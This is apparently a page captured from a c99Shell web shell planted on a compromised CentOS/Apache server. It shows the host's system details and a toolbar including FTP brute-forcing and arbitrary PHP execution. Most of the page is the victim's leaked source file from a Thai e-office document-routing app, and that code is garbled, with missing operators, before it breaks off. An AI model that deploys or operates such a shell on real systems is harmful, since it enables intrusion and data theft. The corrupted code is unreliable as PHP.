!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processSendDoc.php (75.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"funct.php";
include_once 
"../class/clspsdept.php";
include_once 
"../class/clsDocSendtoPsTmp.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oDP5 = new Department($oC);
$oDPt = new Department($oC);
$oDPt2 = new Department($oC);
$oDPt3 = new Department($oC);
$oDPt4 = new Department($oC);
$oDPt = new Department($oC);
$oDPt2 = new Department($oC);
$oDPt3 = new Department($oC);
$oDPt4 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oPS4 = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRd = new runningdoc($oC);
$oStmp=new DocSendToPsTmp($oC);
$oPSd = new psdept($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
if(
$method=="addsend"){ 

    
$flagCommit true;
    
$checkflagCommittrue;
    
$oC->BeginTrans();

    
$DocIDParent=GetParentDoc($DocID);
    
//echo "DocIDParent=".$DocIDParent."<br>";
    
    //---select after sendtops
        
if($showsendtops=="Y"){
            
$oDoc5->SearchByKey($DocID);
            
$oDoc5->GetRecord();
            
$oDoc5->Edit();
            
$oDoc5->sendToPs="Y";
            
$oDoc5->Save();        
        }    
    
    
$oDoc2->SearchByKey($DocID);
    
$oDoc2->GetRecord();
    
$oRs4->SearchByKey($DrsID);
    
$oRs4->GetRecord();
        
    
$timesend=getNowDateTh()." ".date('H:i:s');
    
$checkupdate=0;
    
$checkupdate2=0;
    

        
//-----------------send to Dept----------------------------------
//----send All deptId----------------------------------------------------------------
        
if($checkAll=="1"){ //send All deptId

                
$oDPt->SearchByKey($DlcdeptId);
                
$oDPt->GetRecord();

                
//---send to deptParentId------------------------                
                
if($oDPt->deptParentId==0){
                    
$oDPt2->RSmenuByDeptParent2($oDPt->deptParentId);
                    while(
$oDPt2->GetRecord()){
                        if(
$oDPt2->deptId!=$DlcdeptId){
                            
$pssend=ShowSendtoPs2($oDPt2->deptId); 
                            if(
$pssend!=''){
                                 
//echo "dept=".$oDPt2->deptName." pssend=".$pssend." <br>";
                                /////////////////////
                                    
$oDoc->AddNew();
                                    
$oDoc->DocID=$oDoc->GetNextCode();
                                    
$oDoc->DocPID=$DocIDParent;
                                    
//echo "DocPID=".$oDoc->DocPID."<br>";
                                    
$oDoc->DlcID=$pssend;   
                                    
//echo "pssend=".$pssend."<br>";
                                    
$oDoc->PtID=$PtID;
                                    
//echo "PtID=".$oDoc->PtID."<br>";
                                    
$oDoc->DtID=$oDoc2->DtID
                                    
$oDoc->DslID=$oDoc2->DslID;
                                    
$oDoc->DclID=$oDoc2->DclID;
                                    
$oDoc->DsID="0";
                                    
$oDoc->RsID="3"//sendin
                                    
$oDoc->DocDateCreate=$timesend;
                                    
$DocDateCreate=$oDoc->DocDateCreate;
                                    
$oDoc->DocUserCreate=$pssend;
                                    
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                    //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                    
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                    
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                    
$oDoc->DocDate=$oDoc2->DocDate;
                                    
$oDoc->DocNo=$oDoc2->DocNo;
                                    
$oDoc->DocSubject=$oDoc2->DocSubject;
                                    
$oDoc->DocFrom=$oDoc2->DocFrom;
                                    
$oDoc->DocTo=$oDoc2->DocTo;
                                    
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                    
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                    
//echo "speedDate=".$speedDate."<br>";
                                    
$oDoc->DocStart=$oDoc2->DocStart;
                                    
$oDoc->DocFinish=$oDoc2->DocFinish;
                                    
$oDoc->DocGroup=$oDoc2->DocGroup;
                                    
$oDoc->DocRef=$oDoc2->DocRef;
                                    
$oDoc->DocCircular=$oDoc2->DocCircular;
                                    
$oDoc->DocfCir=$oDoc2->DocfCir;
                                    
$oDoc->DocOther=$oDoc2->DocOther;
                                    
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                    
$oDoc->fDelete=$oDoc2->fDelete;
                                    
$oDoc->endDoc=$oDoc->endDoc;
                                    
$oDoc->sendToPs=$oDoc2->sendToPs;
                                    
$oDoc->AnID=$AnID;
                                    
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                    
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                        
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                        
                                    }
                                    
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                    
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                    
$oDoc->useMainDocNo=$oDoc->useMainDocNo;
                                        if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                            
$addDocShowInOut="3";
                                        }else{
                                            if(
$DocShowIn=="1"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }else if(
$DocShowIn=="2"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }
                                        }
                                    
                                    
$oDoc->DocShowInOut=$addDocShowInOut;
                                    
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                    
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                    
$oDoc->DocforSign=$oDoc2->DocforSign;
                                    
$checkflagCommit $oDoc->Save();
                                    
//echo "-----".$checkflagCommit."<br>";
                                    
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                    
//echo "end<br>";
                                    
$checkupdate++;
                                    
                                    
$oRs2->AddNew();
                                    
$oRs2->DrsID=$oRs2->GetNextCode();
                                    
//echo "DrsID=".$oRs2->DrsID."<br>";
                                    
$oRs2->DocID=$oDoc->DocID;
                                    
$oRs2->DlcID=$pssend;
                                    
$oRs2->DsID="0";
                                    
$oRs2->personId=$oRs2->personId;
                                    
$oRs2->PtID=$PtID;
                                    
//echo "PtID2=".$oRs2->PtID."<br>";
                                    
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                    
$oRs2->DrsReceiveDate=$timesend;
                                    
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                    
$oRs2->DrsReceivePersonId='';
                                    
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                    
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                    
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                    
$oRs2->DrsDocDueDate=$speedDate;
                                    
//echo "speedDate2=".$speedDate."<br>";
                                    
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                    
$oRs2->DrsPsIDCreate=$personId;
                                    
$oRs2->DrsPropose=$DrsSend;
                                    
$oRs2->DrsSign="";
                                    
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                    
$oRs2->DocGroup=$DocGroup;
                                    
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                    
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                    
$oRs2->DrsSend=$oRs2->DrsSend;
                                    
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                    
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                    
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                    
$oRs2->AnID=$AnID;
                                    
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                    
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                    
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                    
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                        
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                        
                                    }
                                    
$checkflagCommit $oRs2->Save();
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                            }
                        } 
//not send to my deptId    
                    ///-----------my child
                            //-----send to child deptId
                            
if($oDPt2->deptId==$DlcdeptId){
                                
$oDPt4->RSmenuByDeptParent2($oDPt2->deptId);
                                while(
$oDPt4->GetRecord()){
                                    
$pssend=ShowSendtoPs2($oDPt4->deptId); 
                                    if(
$pssend!=''){
                                        
//echo "send to child deptId =".$oDPt4->deptName." pssend=".$pssend." <br>";
                                        //--------------add documents
                                        
$oDoc->AddNew();
                                        
$oDoc->DocID=$oDoc->GetNextCode();
                                        
$oDoc->DocPID=$DocIDParent;
                                        
//echo "DocPID=".$oDoc->DocPID."<br>";
                                        
$oDoc->DlcID=$pssend;   
                                        
//echo "pssend=".$pssend."<br>";
                                        
$oDoc->PtID=$PtID;
                                        
//echo "PtID=".$oDoc->PtID."<br>";
                                        
$oDoc->DtID=$oDoc2->DtID
                                        
$oDoc->DslID=$oDoc2->DslID;
                                        
$oDoc->DclID=$oDoc2->DclID;
                                        
$oDoc->DsID="0";
                                        
$oDoc->RsID="3"//sendin
                                        
$oDoc->DocDateCreate=$timesend;
                                        
$DocDateCreate=$oDoc->DocDateCreate;
                                        
$oDoc->DocUserCreate=$pssend;
                                        
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                        //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                        
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                        
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                        
$oDoc->DocDate=$oDoc2->DocDate;
                                        
$oDoc->DocNo=$oDoc2->DocNo;
                                        
$oDoc->DocSubject=$oDoc2->DocSubject;
                                        
$oDoc->DocFrom=$oDoc2->DocFrom;
                                        
$oDoc->DocTo=$oDoc2->DocTo;
                                        
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                        if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                        
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                        
//echo "speedDate=".$speedDate."<br>";
                                        
$oDoc->DocStart=$oDoc2->DocStart;
                                        
$oDoc->DocFinish=$oDoc2->DocFinish;
                                        
$oDoc->DocGroup=$oDoc2->DocGroup;
                                        
$oDoc->DocRef=$oDoc2->DocRef;
                                        
$oDoc->DocCircular=$oDoc2->DocCircular;
                                        
$oDoc->DocfCir=$oDoc2->DocfCir;
                                        
$oDoc->DocOther=$oDoc2->DocOther;
                                        
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                        
$oDoc->fDelete=$oDoc2->fDelete;
                                        
$oDoc->endDoc=$oDoc->endDoc;
                                        
$oDoc->sendToPs=$oDoc2->sendToPs;
                                        
$oDoc->AnID=$AnID;
                                        
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                        
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                        if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                            
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                            
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                        }else{
                                            
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                            
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                            
                                        }
                                        
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                        
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                        
                                            if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                                
$addDocShowInOut="3";
                                            }else{
                                                if(
$DocShowIn=="1"){
                                                    
$addDocShowInOut=$DocShowIn;
                                                }else if(
$DocShowIn=="2"){
                                                    
$addDocShowInOut=$DocShowIn;
                                                }
                                            }
                                        
                                        
$oDoc->DocShowInOut=$addDocShowInOut;
                                        
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                        
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                        
$oDoc->DocforSign=$oDoc2->DocforSign;
                                        
$checkflagCommit $oDoc->Save();
                                        
//echo "-----".$checkflagCommit."<br>";
                                        
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                        
//echo "end<br>";
                                        
$checkupdate++;
                                        
                                        
$oRs2->AddNew();
                                        
$oRs2->DrsID=$oRs2->GetNextCode();
                                        
//echo "DrsID=".$oRs2->DrsID."<br>";
                                        
$oRs2->DocID=$oDoc->DocID;
                                        
$oRs2->DlcID=$pssend;
                                        
$oRs2->DsID="0";
                                        
$oRs2->personId=$oRs2->personId;
                                        
$oRs2->PtID=$PtID;
                                        
//echo "PtID2=".$oRs2->PtID."<br>";
                                        
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                        
$oRs2->DrsReceiveDate=$timesend;
                                        
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                        
$oRs2->DrsReceivePersonId='';
                                        
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                        
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                        
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                        if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                        
$oRs2->DrsDocDueDate=$speedDate;
                                        
//echo "speedDate2=".$speedDate."<br>";
                                        
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                        
$oRs2->DrsPsIDCreate=$personId;
                                        
$oRs2->DrsPropose=$DrsSend;
                                        
$oRs2->DrsSign="";
                                        
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                        
$oRs2->DocGroup=$DocGroup;
                                        
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                        
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                        
$oRs2->DrsSend=$oRs2->DrsSend;
                                        
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                        
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                        
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                        
$oRs2->AnID=$AnID;
                                        
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                        
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                        
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                        
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                        if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                            
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                            
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                        }else{
                                            
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                            
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                            
                                        }
                                        
$checkflagCommit $oRs2->Save();
                                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                    }
                                }
                            }
                        
///-----------end my child

                        
                    
}
                }else{  
                
//---send to not deptParentId = 0------------------------
                    //------send to parent dept----------------------
                    
$oDPt2->SearchByKey($oDPt->deptParentId);
                    
$oDPt2->GetRecord();
                            
$pssend=ShowSendtoPs2($oDPt2->deptId); 
                            if(
$pssend!=''){
                             
//echo "send to parent dept=".$oDPt2->deptName." pssend=".$pssend." <br>";
                                /////////////////////
                                    
$oDoc->AddNew();
                                    
$oDoc->DocID=$oDoc->GetNextCode();
                                    
$oDoc->DocPID=$DocIDParent;
                                    
//echo "DocPID=".$oDoc->DocPID."<br>";
                                    
$oDoc->DlcID=$pssend;   
                                    
//echo "pssend=".$pssend."<br>";
                                    
$oDoc->PtID=$PtID;
                                    
//echo "PtID=".$oDoc->PtID."<br>";
                                    
$oDoc->DtID=$oDoc2->DtID
                                    
$oDoc->DslID=$oDoc2->DslID;
                                    
$oDoc->DclID=$oDoc2->DclID;
                                    
$oDoc->DsID="0";
                                    
$oDoc->RsID="3"//sendin
                                    
$oDoc->DocDateCreate=$timesend;
                                    
$DocDateCreate=$oDoc->DocDateCreate;
                                    
$oDoc->DocUserCreate=$pssend;
                                    
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                    //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                    
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                    
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                    
$oDoc->DocDate=$oDoc2->DocDate;
                                    
$oDoc->DocNo=$oDoc2->DocNo;
                                    
$oDoc->DocSubject=$oDoc2->DocSubject;
                                    
$oDoc->DocFrom=$oDoc2->DocFrom;
                                    
$oDoc->DocTo=$oDoc2->DocTo;
                                    
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                    
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                    
//echo "speedDate=".$speedDate."<br>";
                                    
$oDoc->DocStart=$oDoc2->DocStart;
                                    
$oDoc->DocFinish=$oDoc2->DocFinish;
                                    
$oDoc->DocGroup=$oDoc2->DocGroup;
                                    
$oDoc->DocRef=$oDoc2->DocRef;
                                    
$oDoc->DocCircular=$oDoc2->DocCircular;
                                    
$oDoc->DocfCir=$oDoc2->DocfCir;
                                    
$oDoc->DocOther=$oDoc2->DocOther;
                                    
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                    
$oDoc->fDelete=$oDoc2->fDelete;
                                    
$oDoc->endDoc=$oDoc->endDoc;
                                    
$oDoc->sendToPs=$oDoc2->sendToPs;
                                    
$oDoc->AnID=$AnID;
                                    
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                    
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                        
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                        
                                    }
                                    
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                    
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                    
                                        if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                            
$addDocShowInOut="3";
                                        }else{
                                            if(
$DocShowIn=="1"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }else if(
$DocShowIn=="2"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }
                                        }
                                    
                                    
$oDoc->DocShowInOut=$addDocShowInOut;
                                    
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                    
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                    
$oDoc->DocforSign=$oDoc2->DocforSign;
                                    
$checkflagCommit $oDoc->Save();
                                    
//echo "-----".$checkflagCommit."<br>";
                                    
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                    
//echo "end<br>";
                                    
$checkupdate++;
                                    
                                    
$oRs2->AddNew();
                                    
$oRs2->DrsID=$oRs2->GetNextCode();
                                    
//echo "DrsID=".$oRs2->DrsID."<br>";
                                    
$oRs2->DocID=$oDoc->DocID;
                                    
$oRs2->DlcID=$pssend;
                                    
$oRs2->DsID="0";
                                    
$oRs2->personId=$oRs2->personId;
                                    
$oRs2->PtID=$PtID;
                                    
//echo "PtID2=".$oRs2->PtID."<br>";
                                    
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                    
$oRs2->DrsReceiveDate=$timesend;
                                    
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                    
$oRs2->DrsReceivePersonId='';
                                    
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                    
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                    
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                    
$oRs2->DrsDocDueDate=$speedDate;
                                    
//echo "speedDate2=".$speedDate."<br>";
                                    
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                    
$oRs2->DrsPsIDCreate=$personId;
                                    
$oRs2->DrsPropose=$DrsSend;
                                    
$oRs2->DrsSign="";
                                    
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                    
$oRs2->DocGroup=$DocGroup;
                                    
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                    
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                    
$oRs2->DrsSend=$oRs2->DrsSend;
                                    
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                    
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                    
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                    
$oRs2->AnID=$AnID;
                                    
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                    
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                    
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                    
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                        
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                        
                                    }
                                    
$checkflagCommit $oRs2->Save();
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                             } 
                    
                    
//------send to balance dept----------------------
                    
$oDPt3->RSmenuByDeptParent2($oDPt2->deptId);
                    while(
$oDPt3->GetRecord()){
                        if(
$oDPt3->deptId!=$DlcdeptId){
                            
$pssend=ShowSendtoPs2($oDPt3->deptId); 
                            if(
$pssend!=''){
                             
//echo "send to balance dept=".$oDPt3->deptName." pssend=".$pssend." <br>";
                                /////////////////////
                                    
$oDoc->AddNew();
                                    
$oDoc->DocID=$oDoc->GetNextCode();
                                    
$oDoc->DocPID=$DocIDParent;
                                    
//echo "DocPID=".$oDoc->DocPID."<br>";
                                    
$oDoc->DlcID=$pssend;   
                                    
//echo "pssend=".$pssend."<br>";
                                    
$oDoc->PtID=$PtID;
                                    
//echo "PtID=".$oDoc->PtID."<br>";
                                    
$oDoc->DtID=$oDoc2->DtID
                                    
$oDoc->DslID=$oDoc2->DslID;
                                    
$oDoc->DclID=$oDoc2->DclID;
                                    
$oDoc->DsID="0";
                                    
$oDoc->RsID="3"//sendin
                                    
$oDoc->DocDateCreate=$timesend;
                                    
$DocDateCreate=$oDoc->DocDateCreate;
                                    
$oDoc->DocUserCreate=$pssend;
                                    
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                    //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                    
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                    
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                    
$oDoc->DocDate=$oDoc2->DocDate;
                                    
$oDoc->DocNo=$oDoc2->DocNo;
                                    
$oDoc->DocSubject=$oDoc2->DocSubject;
                                    
$oDoc->DocFrom=$oDoc2->DocFrom;
                                    
$oDoc->DocTo=$oDoc2->DocTo;
                                    
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                    
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                    
//echo "speedDate=".$speedDate."<br>";
                                    
$oDoc->DocStart=$oDoc2->DocStart;
                                    
$oDoc->DocFinish=$oDoc2->DocFinish;
                                    
$oDoc->DocGroup=$oDoc2->DocGroup;
                                    
$oDoc->DocRef=$oDoc2->DocRef;
                                    
$oDoc->DocCircular=$oDoc2->DocCircular;
                                    
$oDoc->DocfCir=$oDoc2->DocfCir;
                                    
$oDoc->DocOther=$oDoc2->DocOther;
                                    
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                    
$oDoc->fDelete=$oDoc2->fDelete;
                                    
$oDoc->endDoc=$oDoc->endDoc;
                                    
$oDoc->sendToPs=$oDoc2->sendToPs;
                                    
$oDoc->AnID=$AnID;
                                    
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                    
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                        
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                        
                                    }
                                    
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                    
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                    
                                        if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                            
$addDocShowInOut="3";
                                        }else{
                                            if(
$DocShowIn=="1"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }else if(
$DocShowIn=="2"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }
                                        }
                                    
                                    
$oDoc->DocShowInOut=$addDocShowInOut;
                                    
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                    
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                    
$oDoc->DocforSign=$oDoc2->DocforSign;
                                    
$checkflagCommit $oDoc->Save();
                                    
//echo "-----".$checkflagCommit."<br>";
                                    
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                    
//echo "end<br>";
                                    
$checkupdate++;
                                    
                                    
$oRs2->AddNew();
                                    
$oRs2->DrsID=$oRs2->GetNextCode();
                                    
//echo "DrsID=".$oRs2->DrsID."<br>";
                                    
$oRs2->DocID=$oDoc->DocID;
                                    
$oRs2->DlcID=$pssend;
                                    
$oRs2->DsID="0";
                                    
$oRs2->personId=$oRs2->personId;
                                    
$oRs2->PtID=$PtID;
                                    
